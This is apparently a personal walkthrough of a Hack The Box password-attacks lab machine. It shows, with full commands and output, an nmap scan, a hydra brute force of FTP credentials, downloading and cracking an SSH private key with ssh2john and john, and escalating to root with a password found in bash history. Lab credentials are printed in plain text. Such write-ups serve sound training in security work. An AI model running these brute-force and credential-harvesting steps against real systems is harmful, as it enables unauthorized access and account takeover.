

Easy

starting off with a nmap scan using default scripts and version enum

```
(homie@kali)-[~/htb/password_attacks/easy]
$ nmap -sC -sV 10.129.202.219 -oA def_scripts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 14:29 CST
Nmap scan report for 10.129.202.219
Host is up (0.074s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
| 256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_ 256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.08 seconds
```

Running hydra against FTP first since from one of the earlier modules I learned that SSH takes longer to brute force generally

```
(homie@kali)-[~/htb/password_attacks/easy]
$ hydra -L ~/Desktop/username.list -P ~/Desktop/password.list ftp://10.129.202.219 -t 48
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
s anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-16 14:38:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to
[DATA] max 48 tasks per 1 server, overall 48 tasks, 21112 login tries (l:104/p:203), ~440 tries per task
[DATA] attacking ftp://10.129.202.219:21/
[STATUS] 801.00 tries/min, 801 tries in 00:01h, 20311 to do in 00:26h, 48 active
[STATUS] 823.33 tries/min, 2470 tries in 00:03h, 18642 to do in 00:23h, 48 active
[STATUS] 827.86 tries/min, 5795 tries in 00:07h, 15317 to do in 00:19h, 48 active
[STATUS] 825.75 tries/min, 9909 tries in 00:12h, 11203 to do in 00:14h, 48 active
[STATUS] 824.24 tries/min, 14012 tries in 00:17h, 7100 to do in 00:09h, 48 active
[21][ftp] host: 10.129.202.219 login: mike password: 777777
```

```
[21][ftp] host: 10.129.202.219 login: mike password: 777777
```

ftp into the system with the creds found

find some ssh keys and download

```

Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15928|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 554 Feb 09 2022 authorized_keys
-rw-rw-r-- 1 1000 1000 2546 Feb 09 2022 id_rsa
-rw-rw-r-- 1 1000 1000 570 Feb 09 2022 id_rsa.pub
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||27589|)
150 Opening BINARY mode data connection for id_rsa (2546 bytes).
100% |*****| 2546 28.23 MiB/s 00:00 ETA
226 Transfer complete.
2546 bytes received in 00:00 (61.23 KiB/s)
ftp> get id_rsa.pub
local: id_rsa.pub remote: id_rsa.pub
229 Entering Extended Passive Mode (|||56562|)
150 Opening BINARY mode data connection for id_rsa.pub (570 bytes).
100% |*****| 570 7.44 MiB/s 00:00 ETA
226 Transfer complete.
570 bytes received in 00:00 (12.64 KiB/s)
ftp> get authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||62781|)
150 Opening BINARY mode data connection for authorized_keys (554 bytes).
100% |*****| 554 67.73 KiB/s 00:00 ETA
226 Transfer complete.
554 bytes received in 00:00 (10.66 KiB/s)
ftp> █

```

attempting to ssh into the target as mike using the id_rsa file failed

attempting to ssh into the target as root using id_rsa file prompted for password

attempt to crack the ssh key:

convert the ssh key to a hash using ssh2john script

```
ssh2john id_rsa > id_rsa.hash
```

```

(homie@kali)-[~/Desktop]
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
7777777 (id_rsa)
1g 0:00:00:00 DONE (2024-12-16 23:11) 100.0g/s 19200p/s 19200c/s 19200C/s carolina..november
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

7777777

sshing as root fails, so that is not the password for root

attempt to ssh as mike passing in the key we found
had to change permissions on the id_rsa file for it to work

```
(homie@kali)-[~/Desktop]
$ chmod 0400 id_rsa

(homie@kali)-[~/Desktop]
$ ssh mike@10.129.202.219 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue Dec 17 05:16:33 GMT 2024

System load:  0.08          Processes:           160
Usage of /:   29.7% of 8.79GB Users logged in:        0
Memory usage: 10%          IPv4 address for ens192: 10.129.202.219
Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

214 updates can be applied immediately.
165 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Feb  9 17:37:10 2022 from 10.129.202.64
mike@skills-easy:~$
```

running sudo -l mike had no permissions, performing some manual enumeration I
look through mikes bash_history file and there I find a script being run as root and
a password being passed in

```
mike@skills-easy:~$ sudo -l
[sudo] password for mike:
Sorry, try again.
[sudo] password for mike:
Sorry, user mike may not run sudo on skills-easy.
mike@skills-easy:~$ cat .bash_history
vim updater.bash
bash updater.bash
vim updater.bash
apt-cache search gem
sudo gem install -V lolcat
sudo apt-get install fortune
analysis.py -u root -p dgb6fzm0ynk@AME9pqu
rm -rf analysis.py
fortune
man fortune
fortune -o
man fortune
```

```
analysis.py -u root -p dgb6fzm0ynk@AME9pqu
```

switching users to root with that works

```
mike@skills-easy:~$ su root
Password:
root@skills-easy:/home/mike# whoami
root
```